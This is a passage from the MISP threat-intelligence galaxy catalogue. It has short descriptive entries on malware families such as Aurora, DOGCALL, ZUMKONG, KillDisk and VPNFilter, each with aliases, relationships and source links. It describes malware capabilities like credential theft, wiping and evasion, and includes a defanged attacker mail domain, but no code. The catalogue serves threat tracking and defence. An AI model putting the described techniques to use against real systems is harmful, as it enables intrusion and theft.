
Exforel backdoor malware, VirTool:WinNT/Exforel.A, backdoor implemented at the Network Driver

Interface Specification (NDIS) level.

The tag is: *misp-galaxy:tool="Exforel"*

Table 7435. Table References

Links
http://news.softpedia.com/news/Exforel-Backdoor-Implemented-at-NDIS-Level-to-Be-More-Stealthy-Experts-Say-313567.shtml

Rotinom

W32.Rotinom is a worm that spreads by copying itself to removable drives.

The tag is: *misp-galaxy:tool="Rotinom"*

Table 7436. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-011117-0057-99

Aurora

You probably have heard the recent news about a widespread attack that was carried out using a 0-Day exploit for Internet Explorer as one of the vectors. This exploit is also known as the "Aurora Exploit". The code has recently gone public and it was also added to the Metasploit framework. This exploit was used to deliver a malicious payload, known by the name of Trojan.Hydraq, the main purpose of which was to steal information from the compromised computer and report it back to the attackers. The exploit code makes use of known techniques to exploit a vulnerability that exists in the way Internet Explorer handles a deleted object. The final purpose of the exploit itself is to access an object that was previously deleted, causing the code to reference a memory location over which the attacker has control and in which the attacker dropped his malicious code.

The tag is: *misp-galaxy:tool="Aurora"*

Aurora is also known as:

- Hydraq

View relationships graph

Aurora has relationships with:

- similar: misp-galaxy:mitre-malware="Hydraq - S0203" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="9002 RAT" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Aurora" with estimative-language:likelihood-probability="likely"

Table 7437. Table References

Links
https://www.symantec.com/connect/blogs/trojanhydraq-incident-analysis-aurora-0-day-exploit
https://www.symantec.com/connect/blogs/hydraq-aurora-attackers-back
https://www.symantec.com/connect/blogs/hydraq-attack-mythical-proportions

Cheshire Cat

Oldest Cheshire Cat malware compiled in 2002. It's a very old family of malware. The time stamps may be forged but the malware does have support for very old operating systems. The 2002 implant retrieves a handle for an asr2892 drives that they never got their hands on. It checks for a NE header which is a header type used before PE headers even existed. References to 16bit or DOS on a non 9x platform. This malware implant IS REALLY for old systems. The malware is for espionage - it's very carefully made to stay hidden. Newer versions install as icon handler shell extension for .lnk files. Shell in this case means the program manager because windows explorer was not yet a thing. It sets up COM server objects. It looks like it was written in pure C, but made to look like C++. A sensitive implant as well: it checks for all kinds of old MS platforms including Windows NT, win95, win98, winME and more. It checks the patch level as well. A lot of effort was put into adapting this malware to a lot of different operating systems with very granular decision chains.

The tag is: *misp-galaxy:tool="Cheshire Cat"*

Table 7438. Table References

Links
https://www.youtube.com/watch?v=u2Ry9HTBbZI
https://malware-research.org/prepare-father-of-stuxnet-news-are-coming/
https://www.peerlyst.com/posts/hack-lu-2016-recap-interesting-malware-no-i-m-not-kidding-by-marion-marschalek-claus-cramon

Downloader-FGO

Downloader-FGO is a trojan that comes hidden in malicious programs. Once you install the source (carrier) program, this trojan attempts to gain "root" access (administrator level access) to your computer without your knowledge

The tag is: *misp-galaxy:tool="Downloader-FGO"*

Downloader-FGO is also known as:

- Win32:Malware-gen
- Generic30.ASYL (Trojan horse)
- TR/Agent.84480.85
- Trojan.Generic.8627031

- Trojan:Win32/Sisproc
- SB/Malware
- Trj/CI.A
- Mal/Behav-112
- Trojan.Spuler
- TROJ_KAZY.SM1
- Win32/FakePPT_i

Table 7439. Table References

Links
https://www.solvusoft.com/en/malware/trojans/downloader-fgo/

miniFlame

Newly discovered spying malware designed to steal data from infected systems was likely built from the same cyber-weaponry factory that produced two other notorious cyberespionage software Flame and Gauss, a security vendor says. Kaspersky Lab released a technical paper Monday outlining the discovery of the malware the vendor has dubbed "miniFlame." While capable of working with Flame and Gauss, miniFlame is a "small, fully functional espionage module designed for data theft and direct access to infected systems," Kaspersky said.

The tag is: *misp-galaxy:tool="miniFlame"*

Table 7440. Table References

Links
https://securelist.com/miniflame-aka-spe-elvis-and-his-friends-5/31730/
https://www.csoonline.com/article/2132422/malware-cybercrime/cyberespionage-malware—miniflame—discovered.html

GHOTEX

PE_GHOTEX.A-O is a portable executable (PE is the standard executable format for 32-bit Windows files) virus. PE viruses infect executable Windows files by incorporating their code into these files such that they are executed when the infected files are opened.

The tag is: *misp-galaxy:tool="GHOTEX"*

Table 7441. Table References

Links
https://www.trendmicro.com/vinfo/dk/threat-encyclopedia/archive/malware/pe_ghotex.a-o

Shipup

Trojan:Win32/Shipup.G is a trojan that modifies the Autorun feature for certain devices.

The tag is: *misp-galaxy:tool="Shipup"*

Table 7442. Table References

Links
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Shipup.G
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan%3AWin32%2FShipup.K
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Worm:Win32/Shipup.A
https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/W32ShipUp-F/detailed-analysis.aspx[https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/W32ShipUp-F/detailed-analysis.aspx]
https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojShipUp-A/detailed-analysis.aspx[https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojShipUp-A/detailed-analysis.aspx]

Neuron

Neuron consists of both client and server components. The Neuron client and Neuron service are written using the .NET framework with some codebase overlaps. The Neuron client is used to infect victim endpoints and extract sensitive information from local client machines. The Neuron server is used to infect network infrastructure such as mail and web servers, and acts as local Command & Control (C2) for the client component. Establishing a local C2 limits interaction with the target network and remote hosts. It also reduces the log footprint of actor infrastructure and enables client interaction to appear more convincing as the traffic is contained within the target network.

The tag is: *misp-galaxy:tool="Neuron"*

View relationships graph

Neuron has relationships with:

- similar: misp-galaxy:malpedia="Neuron" with estimative-language:likelihood-probability="likely"

Table 7443. Table References

Links
https://www.ncsc.gov.uk/content/files/protected_files/article_files/Turla%20group%20using%20Neuron%20and%20Nautilus%20tools%20alongside%20Snake%20malware_0.pdf

Nautilus

Nautilus is very similar to Neuron both in the targeting of mail servers and how client communications are performed. This malware is referred to as Nautilus due to its embedded internal DLL name “nautilus-service.dll”, again sharing some resemblance to Neuron. The Nautilus service listens for HTTP requests from clients to process tasking requests such as executing commands, deleting files and writing files to disk

The tag is: *misp-galaxy:tool="Nautilus"*

View relationships graph

Nautilus has relationships with:

- similar: misp-galaxy:malpedia="Nautilus" with estimative-language:likelihood-probability="likely"

Table 7444. Table References

Links
https://www.ncsc.gov.uk/content/files/protected_files/article_files/Turla%20group%20using%20Neuron%20and%20Nautilus%20tools%20alongside%20Snake%20malware_0.pdf

Gamut Botnet

Gamut was found to be downloaded by a Trojan Downloader that arrives as an attachment from a spam email message. The bot installation is quite simple. After the malware binary has been downloaded, it launches itself from its current directory, usually the Windows %Temp% folder and installs itself as a Windows service. The malware utilizes an anti-VM (virtual machine) trick and terminates itself if it detects that it is running in a virtual machine environment. The bot uses INT 03h trap sporadically in its code, an anti-debugging technique which prevents its code from running within a debugger environment. It can also determine if it is being debugged by using the Kernel32 API - IsDebuggerPresent function.

The tag is: *misp-galaxy:tool="Gamut Botnet"*

Table 7445. Table References

Links
https://www.bleepingcomputer.com/news/security/necurs-and-gamut-botnets-account-for-97-percent-of-the-internets-spam-emails/
https://www.trustwave.com/Resources/SpiderLabs-Blog/Gamut-Spambot-Analysis/

CORALDECK

CORALDECK is an exfiltration tool that searches for specified files and exfiltrates them in password protected archives using hardcoded HTTP POST headers. CORALDECK has been observed dropping and using Winrar to exfiltrate data in password protected RAR files as well as WinImage and zip archives

The tag is: *misp-galaxy:tool="CORALDECK"*

CORALDECK is also known as:

- APT.InfoStealer.Win.CORALDECK
- FE_APT_InfoStealer_Win_CORALDECK_1

View relationships graph

CORALDECK has relationships with:

- similar: misp-galaxy:mitre-malware="CORALDECK - S0212" with estimative-language:likelihood-probability="likely"

Table 7446. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

DOGCALL

DOGCALL is a backdoor commonly distributed as an encoded binary file downloaded and decrypted by shellcode following the exploitation of weaponized documents. DOGCALL is capable of capturing screenshots, logging keystrokes, evading analysis with anti-virtual machine detections, and leveraging cloud storage APIs such as Cloud, Box, Dropbox, and Yandex. DOGCALL was used to target South Korean Government and military organizations in March and April 2017. The malware is typically dropped using an HWP exploit in a lure document. The wiper tool, RUHAPPY, was found on some of the systems targeted by DOGCALL. While DOGCALL is primarily an espionage tool, RUHAPPY is a destructive wiper tool meant to render systems inoperable.

The tag is: *misp-galaxy:tool="DOGCALL"*

DOGCALL is also known as:

- FE_APT_RAT_DOGCALL
- FE_APT_Backdoor_Win32_DOGCALL_1
- APT.Backdoor.Win.DOGCALL

View relationships graph

DOGCALL has relationships with:

- similar: misp-galaxy:mitre-malware="DOGCALL - S0213" with estimative-language:likelihood-probability="likely"

Table 7447. Table References

Links

https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf
https://www.bleepingcomputer.com/news/security/report-ties-north-korean-attacks-to-new-malware-linked-by-word-macros/

GELCAPSULE

GELCAPSULE is a downloader traditionally dropped or downloaded by an exploit document. GELCAPSULE has been observed downloading SLOWDRIFT to victim systems.

The tag is: *misp-galaxy:tool="GELCAPSULE"*

GELCAPSULE is also known as:

- FE_APT_Downloader_Win32_GELCAPSULE_1

Table 7448. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

HAPPYWORK

HAPPYWORK is a malicious downloader that can download and execute a second-stage payload, collect system information, and beacon it to the command and control domains. The collected system information includes: computer name, user name, system manufacturer via registry, IsDebuggerPresent state, and execution path. In November 2016, HAPPYWORK targeted government and financial targets in South Korea.

The tag is: *misp-galaxy:tool="HAPPYWORK"*

HAPPYWORK is also known as:

- FE_APT_Downloader_HAPPYWORK
- FE_APT_Exploit_HWP_Happy
- Downloader.APT.HAPPYWORK

View relationships graph

HAPPYWORK has relationships with:

- similar: misp-galaxy:mitre-malware="HAPPYWORK - S0214" with estimative-language:likelihood-probability="likely"

Table 7449. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

KARAE

Karae backdoors are typically used as first-stage malware after an initial compromise. The backdoors can collect system information, upload and download files, and may be used to retrieve a second-stage payload. The malware uses public cloud-based storage providers for command and control. In March 2016, KARAE malware was distributed through torrent file-sharing websites for South Korean users. During this campaign, the malware used a YouTube video downloader application as a lure.

The tag is: *misp-galaxy:tool="KARAE"*

KARAE is also known as:

- FE_APT_Backdoor_Karae_enc
- FE_APT_Backdoor_Karae
- Backdoor.APT.Karae

View relationships graph

KARAE has relationships with:

- similar: misp-galaxy:mitre-malware="KARAE - S0215" with estimative-language:likelihood-probability="likely"

Table 7450. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

MILKDROP

MILKDROP is a launcher that sets a persistence registry key and launches a backdoor.

The tag is: *misp-galaxy:tool="MILKDROP"*

MILKDROP is also known as:

- FE_Trojan_Win32_MILKDROP_1

Table 7451. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

POORAIM

POORAIM malware is designed with basic backdoor functionality and leverages AOL Instant Messenger for command and control communications. POORAIM includes the following capabilities: System information enumeration, File browsing, manipulation and exfiltration, Process enumeration, Screen capture, File execution, Exfiltration of browser favorites, and battery status. Exfiltrated data is sent via files over AIM. POORAIM has been involved in campaigns against South Korean media organizations and sites relating to North Korean refugees and defectors since early 2014. Compromised sites have acted as watering holes to deliver newer variants of POORAIM.

The tag is: *misp-galaxy:tool="POORAIM"*

POORAIM is also known as:

- Backdoor.APT.POORAIM

View relationships graph

POORAIM has relationships with:

- similar: misp-galaxy:mitre-malware="POORAIM - S0216" with estimative-language:likelihood-probability="likely"

Table 7452. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

RICECURRY

RICECURRY is a Javascript based profiler used to fingerprint a victim's web browser and deliver malicious code in return. Browser, operating system, and Adobe Flash version are detected by RICECURRY, which may be a modified version of PluginDetect.

The tag is: *misp-galaxy:tool="RICECURRY"*

RICECURRY is also known as:

- Exploit.APT.RICECURRY

Table 7453. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

RUHAPPY

RUHAPPY is a destructive wiper tool seen on systems targeted by DOGCALL. It attempts to overwrite the MBR, causing the system not to boot. When victims' systems attempt to boot, the string 'Are you Happy?' is displayed. The malware is believed to be tied to the developers of DOGCALL and HAPPYWORK based on similar PDB paths in all three.

The tag is: *misp-galaxy:tool="RUHAPPY"*

RUHAPPY is also known as:

- FE_APT_Trojan_Win32_RUHAPPY_1

Table 7454. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

SHUTTERSPEED

SHUTTERSPEED is a backdoor that can collect system information, acquire screenshots, and download/execute an arbitrary executable. SHUTTERSPEED typically requires an argument at runtime in order to execute fully. Observed arguments used by SHUTTERSPEED include: 'help', 'console', and 'sample'. The spear phishing email messages contained documents exploiting RTF vulnerability CVE-2017-0199. Many of the compromised domains in the command and control infrastructure are linked to South Korean companies. Most of these domains host a fake webpage pertinent to targets.

The tag is: *misp-galaxy:tool="SHUTTERSPEED"*

SHUTTERSPEED is also known as:

- FE_APT_Backdoor_SHUTTERSPEED
- APT.Backdoor.SHUTTERSPEED

View relationships graph

SHUTTERSPEED has relationships with:

- similar: misp-galaxy:mitre-malware="SHUTTERSPEED - S0217" with estimative-language:likelihood-probability="likely"

Table 7455. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

SLOWDRIFT

SLOWDRIFT is a launcher that communicates via cloud based infrastructure. It sends system information to the attacker command and control and then downloads and executes additional payloads.Lure documents distributing SLOWDRIFT were not tailored for specific victims, suggesting that TEMP.Reaper is attempting to widen its target base across multiple industries and in the private sector. SLOWDRIFT was seen being deployed against academic and strategic targets in South Korea using lure emails with documents leveraging the HWP exploit. Recent SLOWDRIFT samples were uncovered in June 2017 with lure documents pertaining to cyber crime prevention and news stories. These documents were last updated by the same actor who developed KARAE, POORAIM and ZUMKONG.

The tag is: *misp-galaxy:tool="SLOWDRIFT"*

SLOWDRIFT is also known as:

- FE_APT_Downloader_Win_SLOWDRIFT_1
- FE_APT_Downloader_Win_SLOWDRIFT_2
- APT.Downloader.SLOWDRIFT

View relationships graph

SLOWDRIFT has relationships with:

- similar: misp-galaxy:mitre-malware="SLOWDRIFT - S0218" with estimative-language:likelihood-probability="likely"

Table 7456. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

SOUNDWAVE

SOUNDWAVE is a windows based audio capturing utility. Via command line it accepts the -l switch (for listen probably), captures microphone input for 100 minutes, writing the data out to a log file in this format: C:\Temp\HncDownload\YYYYMMDDHHMMSS.log.

The tag is: *misp-galaxy:tool="SOUNDWAVE"*

SOUNDWAVE is also known as:

- FE_APT_HackTool_Win32_SOUNDWAVE_1

Table 7457. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

ZUMKONG

ZUMKONG is a credential stealer capable of harvesting usernames and passwords stored by Internet Explorer and Chrome browsers. Stolen credentials are emailed to the attacker via HTTP POST requests to mail[.]zmail[.]ru.

The tag is: *misp-galaxy:tool="ZUMKONG"*

ZUMKONG is also known as:

- FE_APT_Trojan_Zumkong
- Trojan.APT.Zumkong

Table 7458. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

WINERACK

WINERACK is backdoor whose primary features include user and host information gathering, process creation and termination, filesystem and registry manipulation, as well as the creation of a reverse shell that utilizes statically-linked Wine cmd.exe code to emulate Windows command prompt commands. Other capabilities include the enumeration of files, directories, services, active windows and processes.

The tag is: *misp-galaxy:tool="WINERACK"*

WINERACK is also known as:

- FE_APT_Backdoor_WINERACK
- Backdoor.APT.WINERACK

View relationships graph

WINERACK has relationships with:

- similar: misp-galaxy:mitre-malware="WINERACK - S0219" with estimative-language:likelihood-probability="likely"

Table 7459. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

RoyalCli

The RoyalCli backdoor appears to be an evolution of BS2005 and uses familiar encryption and encoding routines. The name RoyalCli was chosen by us due to a debugging path left in the binary: 'c:\users\wizard\documents\visual studio 2010\Projects\RoyalCli\Release\RoyalCli.pdb' RoyalCli and BS2005 both communicate with the attacker’s command and control (C2) through Internet Explorer (IE) by using the COM interface IWebBrowser2. Due to the nature of the technique, this results in C2 data being cached to disk by the IE process; we’ll get to this later.

The tag is: *misp-galaxy:tool="RoyalCli"*

View relationships graph

RoyalCli has relationships with:

- similar: misp-galaxy:malpedia="RoyalCli" with estimative-language:likelihood-probability="likely"

Table 7460. Table References

Links
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/

RoyalDNS

The tag is: *misp-galaxy:tool="RoyalDNS"*

Table 7461. Table References

Links
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/

SHARPKNOT

The tag is: *misp-galaxy:tool="SHARPKNOT"*

View relationships graph

SHARPKNOT has relationships with:

- similar: misp-galaxy:malpedia="SHARPKNOT" with estimative-language:likelihood-probability="likely"

Table 7462. Table References

Links
https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf

KillDisk Wiper

KillDisk, along with the multipurpose, cyberespionage-related BlackEnergy, was used in cyberattacks in late December 2015 against Ukraine's energy sector as well as its banking, rail, and mining industries. The malware has since metamorphosed into a threat used for digital extortion, affecting Windows and Linux platforms. The note accompanying the ransomware versions, like in the case of Petya, was a ruse: Because KillDisk also overwrites and deletes files (and don't store the encryption keys on disk or online), recovering the scrambled files was out of the question. The new variant we found, however, does not include a ransom note.

The tag is: *misp-galaxy:tool="KillDisk Wiper"*

KillDisk Wiper is also known as:

- KillDisk

View relationships graph

KillDisk Wiper has relationships with:

- similar: misp-galaxy:malpedia="KillDisk" with estimative-language:likelihood-probability="likely"

Table 7463. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/new-killdisk-variant-hits-financial-organizations-in-latin-america/

UselessDisk

A new MBR bootlocker called DiskWriter, or UselessDisk, has been discovered that overwrites the MBR of a victim's computer and then displays a ransom screen on reboot instead of booting into Windows. This ransom note asks for $300 in bitcoins in order to gain access to Windows again. Might be a wiper.

The tag is: *misp-galaxy:tool="UselessDisk"*

UselessDisk is also known as:

- DiskWriter

Table 7464. Table References

Links
https://www.bleepingcomputer.com/news/security/the-diskwriter-or-uselessdisk-bootlocker-may-be-a-wiper/

GoScanSSH

During a recent Incident Response (IR) engagement, Talos identified a new malware family that was being used to compromise SSH servers exposed to the internet. This malware, which we have named GoScanSSH, was written using the Go programming language, and exhibited several interesting characteristics. This is not the first malware family that Talos has observed that was written using Go. However, it is relatively uncommon to see malware written in this programming language. In this particular case, we also observed that the attacker created unique malware binaries for each host that was infected with the GoScanSSH malware. Additionally, the GoScanSSH command and control (C2) infrastructure was observed leveraging the Tor2Web proxy service in an attempt to make tracking the attacker-controlled infrastructure more difficult and resilient to takedowns.

The tag is: *misp-galaxy:tool="GoScanSSH"*

Table 7465. Table References

Links
http://blog.talosintelligence.com/2018/03/goscanssh-analysis.html

https://www.bleepingcomputer.com/news/security/goscanssh-malware-avoids-government-and-military-servers/

Rovnix

We recently found that the malware family ROVNIX is capable of being distributed via macro downloader. This malware technique was previously seen in the DRIDEX malware, which was notable for using the same routines. DRIDEX is also known as the successor of the banking malware CRIDEX.

The tag is: *misp-galaxy:tool="Rovnix"*

Rovnix is also known as:

- ROVNIX

View relationships graph

Rovnix has relationships with:

- similar: misp-galaxy:malpedia="Rovnix" with estimative-language:likelihood-probability="likely"

Table 7466. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/rovnix-infects-systems-with-password-protected-macros/

Kwampirs

Once Orangeworm has infiltrated a victim's network, they deploy Trojan.Kwampirs, a backdoor Trojan that provides the attackers with remote access to the compromised computer. When executed, Kwampirs decrypts and extracts a copy of its main DLL payload from its resource section. Before writing the payload to disk, it inserts a randomly generated string into the middle of the decrypted payload in an attempt to evade hash-based detections.

The tag is: *misp-galaxy:tool="Kwampirs"*

View relationships graph

Kwampirs has relationships with:

- similar: misp-galaxy:malpedia="Kwampirs" with estimative-language:likelihood-probability="likely"

Table 7467. Table References

Links

https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia

Rubella Macro Builder

A crimeware kit dubbed the Rubella Macro Builder has recently been gaining popularity among members of a top-tier Russian hacking forum. Despite being relatively new and unsophisticated, the kit has a clear appeal for cybercriminals: it's cheap, fast, and can defeat basic static antivirus detection.

The tag is: *misp-galaxy:tool="Rubella Macro Builder"*

Table 7468. Table References

Links
https://www.flashpoint-intel.com/blog/rubella-macro-builder/

kitty Malware

Researchers at Imperva's Incapsula said a new piece malware called Kitty leaves a note for cat lovers. It attacks the Drupal content management system (CMS) to illegally mine cryptocurrency Monero.

The tag is: *misp-galaxy:tool="kitty Malware"*

Table 7469. Table References

Links
https://www.zdnet.com/article/hello-kitty-malware-targets-drupal-to-mine-for-cryptocurrency/
https://threatpost.com/kitty-cryptomining-malware-cashes-in-on-drupalgeddon-2-0/131668/
https://cryptovest.com/news/hello-kitty-new-malware-me0ws-its-way-into-mining-monero/

Maikspy

We discovered a malware family called Maikspy — a multi-platform spyware that can steal users' private data. The spyware targets Windows and Android users, and first posed as an adult game named after a popular U.S.-based adult film actress. Maikspy, which is an alias that combines the name of the adult film actress and spyware, has been around since 2016.

The tag is: *misp-galaxy:tool="Maikspy"*

Table 7470. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/maikspy-spyware-poses-as-adult-game-targets-windows-and-android-users/

Huigezi malware

backdoor trojan popular found prevalently in China

The tag is: *misp-galaxy:tool="Huigezi malware"*

Table 7471. Table References

Links
https://www.bleepingcomputer.com/news/gaming/chinese-police-arrest-15-people-who-hid-malware-inside-pubg-cheat-apps/

FacexWorm

Facebook, Chrome, and cryptocurrency users should be on the lookout for a new malware strain named FacexWorm that infects victims for the purpose of stealing passwords, stealing cryptocurrency funds, running cryptojacking scripts, and spamming Facebook users. This new strain was spotted in late April by Trend Micro researchers and appears to be related to two other Facebook Messenger spam campaigns, one that took place last August, and another one from December 2017, the latter spreading the Digmine malware. Researchers say FacexWorm's modus operandi is similar to the previous two campaigns, but with the addition of new techniques aimed at cryptocurrency users.

The tag is: *misp-galaxy:tool="FacexWorm"*

Table 7472. Table References

Links
https://www.bleepingcomputer.com/news/security/facexworm-spreads-via-facebook-messenger-malicious-chrome-extension/

Bankshot

implant used in Operation GhostSecret

The tag is: *misp-galaxy:tool="Bankshot"*

View relationships graph

Bankshot has relationships with:

- similar: misp-galaxy:malpedia="Bankshot" with estimative-language:likelihood-probability="likely"

Table 7473. Table References

Links
https://www.bleepingcomputer.com/news/security/north-korean-hackers-are-up-to-no-good-again/

Proxysvc

downloader used in Operation GhostSecret

The tag is: *misp-galaxy:tool="Proxysvc"*

Table 7474. Table References

Links
https://www.bleepingcomputer.com/news/security/north-korean-hackers-are-up-to-no-good-again/

Escad

backdoor used in Operation GhostSecret

The tag is: *misp-galaxy:tool="Escad"*

Table 7475. Table References

Links
https://www.bleepingcomputer.com/news/security/north-korean-hackers-are-up-to-no-good-again/

StalinLocker

A new in-development screenlocker/wiper called StalinLocker, or StalinScreamer, was discovered by MalwareHunterTeam that gives you 10 minutes to enter a code or it will try to delete the contents of the drives on the computer. While running, it will display screen that shows Stalin while playing the USSR anthem and displaying a countdown until files are deleted.

The tag is: *misp-galaxy:tool="StalinLocker"*

StalinLocker is also known as:

- StalinScreamer

Table 7476. Table References

Links
https://www.bleepingcomputer.com/news/security/stalinlocker-deletes-your-files-unless-you-enter-the-right-code/

VPNFilter

Advanced, likely state-sponsored or state-affiliated modular malware. The code of this malware overlaps with versions of the BlackEnergy malware. Targeted devices are Linksys, MikroTik, NETGEAR and TP-Link networking equipment in the small and home office (SOHO) space, as well as QNAP network-attached storage (NAS) systems.

The tag is: *misp-galaxy:tool="VPNFilter"*

Table 7477. Table References

Links
https://blog.talosintelligence.com/2018/05/VPNFilter.html
https://securingtomorrow.mcafee.com/consumer/consumer-threat-notices/new-vpnfilter-malware-infects-routers/
https://www.fortinet.com/blog/threat-research/defending-against-the-new-vpnfilter-botnet.html

Iron Backdoor

Iron Backdoor uses a virtual machine detection code taken directly from HackingTeam's Soldier implant leaked source code. Iron Backdoor is also using the DynamicCall module from HackingTeam core library. Backdoor was used to drop cryptocurrency miners.

The tag is: *misp-galaxy:tool="Iron Backdoor"*

Table 7478. Table References

Links
https://www.intezer.com/iron-cybercrime-group-under-the-scope-2/

Brambul

Brambul malware is a malicious Windows 32-bit SMB worm that functions as a service dynamic link library file or a portable executable file often dropped and installed onto victims' networks by dropper malware. When executed, the malware attempts to establish contact with victim systems and IP addresses on victims' local subnets. If successful, the application attempts to gain unauthorized access via the SMB protocol (ports 139 and 445) by launching brute-force password attacks using a list of embedded passwords. Additionally, the malware generates random IP addresses for further attacks.

The tag is: *misp-galaxy:tool="Brambul"*

View relationships graph

Brambul has relationships with:

- similar: misp-galaxy:malpedia="Brambul" with estimative-language:likelihood-probability="likely"

Table 7479. Table References

Links
https://www.us-cert.gov/ncas/alerts/TA18-149A

PLEAD

PLEAD has two kinds – RAT (Remote Access Tool) and downloader. The RAT operates based on commands that are provided from C&C servers. On the other hand, PLEAD downloader downloads modules and runs it on memory in the same way as TSCookie does.

The tag is: *misp-galaxy:tool="PLEAD"*

View relationships graph

PLEAD has relationships with:

- similar: misp-galaxy:malpedia="PLEAD (Windows)" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="TSCookie" with estimative-language:likelihood-probability="likely"

Table 7480. Table References

Links
https://blog.jpcert.or.jp/2018/06/plead-downloader-used-by-blacktech.html

BabaYaga

The group behind BabaYaga —believed to be Russian-speaking hackers— uses this malware to inject sites with special keyboards to drive SEO traffic to hidden pages on compromised sites. These pages are then used to redirect users to affiliate marketing links, where if the user purchases advertised goods, the hackers also make a profit. The malware per-se is comprised of two modules —one that injects the spam content inside the compromised sites, and a backdoor module that gives attackers control over an infected site at any time. The intricacies of both modules are detailed in much more depth in this 26-page report authored by Defiant (formerly known as WordFence), the security firm which dissected the malware's more recent versions. "[BabaYaga] is relatively well-written, and it demonstrates that the author has some understanding of software development challenges, like code deployment, performance and management," Defiant researchers say. "It can also infect Joomla and Drupal sites, or even generic PHP sites, but it is most fully developed around Wordpress."

The tag is: *misp-galaxy:tool="BabaYaga"*

Table 7481. Table References

Links
https://www.bleepingcomputer.com/news/security/lol-babayaga-wordpress-malware-updates-your-site/

InvisiMole

Except for the malware's binary file, very little is known of who's behind it, how it spreads, or in what types of campaigns has this been used.

"Our telemetry indicates that the malicious actors behind this malware have been active at least since 2013, yet the cyber-espionage tool was never analyzed nor detected until discovered by ESET products on compromised computers in Ukraine and Russia," said ESET researcher Zuzana Hromcová, who recently penned an in-depth report about this new threat.

"All infection vectors are possible, including installation facilitated by physical access to the machine," Hromcová added.

Typical to malware used in highly-targeted attacks, the malware has been stripped of most clues that could lead researchers back to its author. With the exception of one file (dating to October 13, 2013), all compilation dates have been stripped and replaced with zeros, giving little clues regarding its timeline and lifespan.

Furthermore, the malware is some clever piece of coding in itself, as it’s comprised of two modules, both with their own set of spying features, but which can also help each other in exfiltrating data.

The tag is: *misp-galaxy:tool="InvisiMole"*

View relationships graph

InvisiMole has relationships with:

- similar: misp-galaxy:malpedia="InvisiMole" with estimative-language:likelihood-probability="likely"

Table 7482. Table References

Links
https://www.bleepingcomputer.com/news/security/invisimole-is-a-complex-spyware-that-can-take-pictures-and-record-audio/

Roaming Mantis

Roaming Mantis malware is designed for distribution through a simple, but very efficient trick based on a technique known as DNS hijacking. When a user attempts to access any website via a compromised router, they will be redirected to a malicious website. For example, if a user were to navigate to www.securelist.com using a web browser, the browser would be redirected to a rogue server which has nothing to do with the security research blog. As long as the browser displays the original URL, users are likely to believe the website is genuine. The web page from the rogue server displays the popup message: To better experience the browsing, update to the latest chrome version.

The tag is: *misp-galaxy:tool="Roaming Mantis"*

View relationships graph

Roaming Mantis has relationships with:

- similar: misp-galaxy:malpedia="Roaming Mantis" with estimative-language:likelihood-probability="likely"

Table 7483. Table References

Links
https://securelist.com/roaming-mantis-uses-dns-hijacking-to-infect-android-smartphones/85178/

PLEAD Downloader

PLEAD is referred to both as a name of malware including TSCookie and its attack campaign. PLEAD has two kinds – RAT (Remote Access Tool) and downloader. The RAT operates based on commands that are provided from C&C servers.On the other hand, PLEAD downloader downloads modules and runs it on memory in the same way as TSCookie does.

The tag is: *misp-galaxy:tool="PLEAD Downloader"*

Table 7484. Table References

Links
https://blog.jpcert.or.jp/2018/06/plead-downloader-used-by-blacktech.html

ClipboardWalletHijacker

The malware's purpose is to intercept content recorded in the Windows clipboard, look for strings resembling Bitcoin and Ethereum addresses, and replace them with ones owned by the malware's authors. ClipboardWalletHijacker's end-plan is to hijack BTC and ETH transactions, so victims unwittingly send funds to the malware's authors.

The tag is: *misp-galaxy:tool="ClipboardWalletHijacker"*

Table 7485. Table References

Links
https://www.bleepingcomputer.com/news/security/clipboard-hijacker-targeting-bitcoin-and-ethereum-users-infects-over-300-0000-pcs/
https://blog.360totalsecurity.com/en/new-cryptominer-hijacks-your-bitcoin-transaction-over-300000-computers-have-been-attacked/

TYPEFRAME

Trojan malware

The tag is: *misp-galaxy:tool="TYPEFRAME"*

Table 7486. Table References

Links
https://www.us-cert.gov/ncas/analysis-reports/AR18-165A

Olympic Destroyer

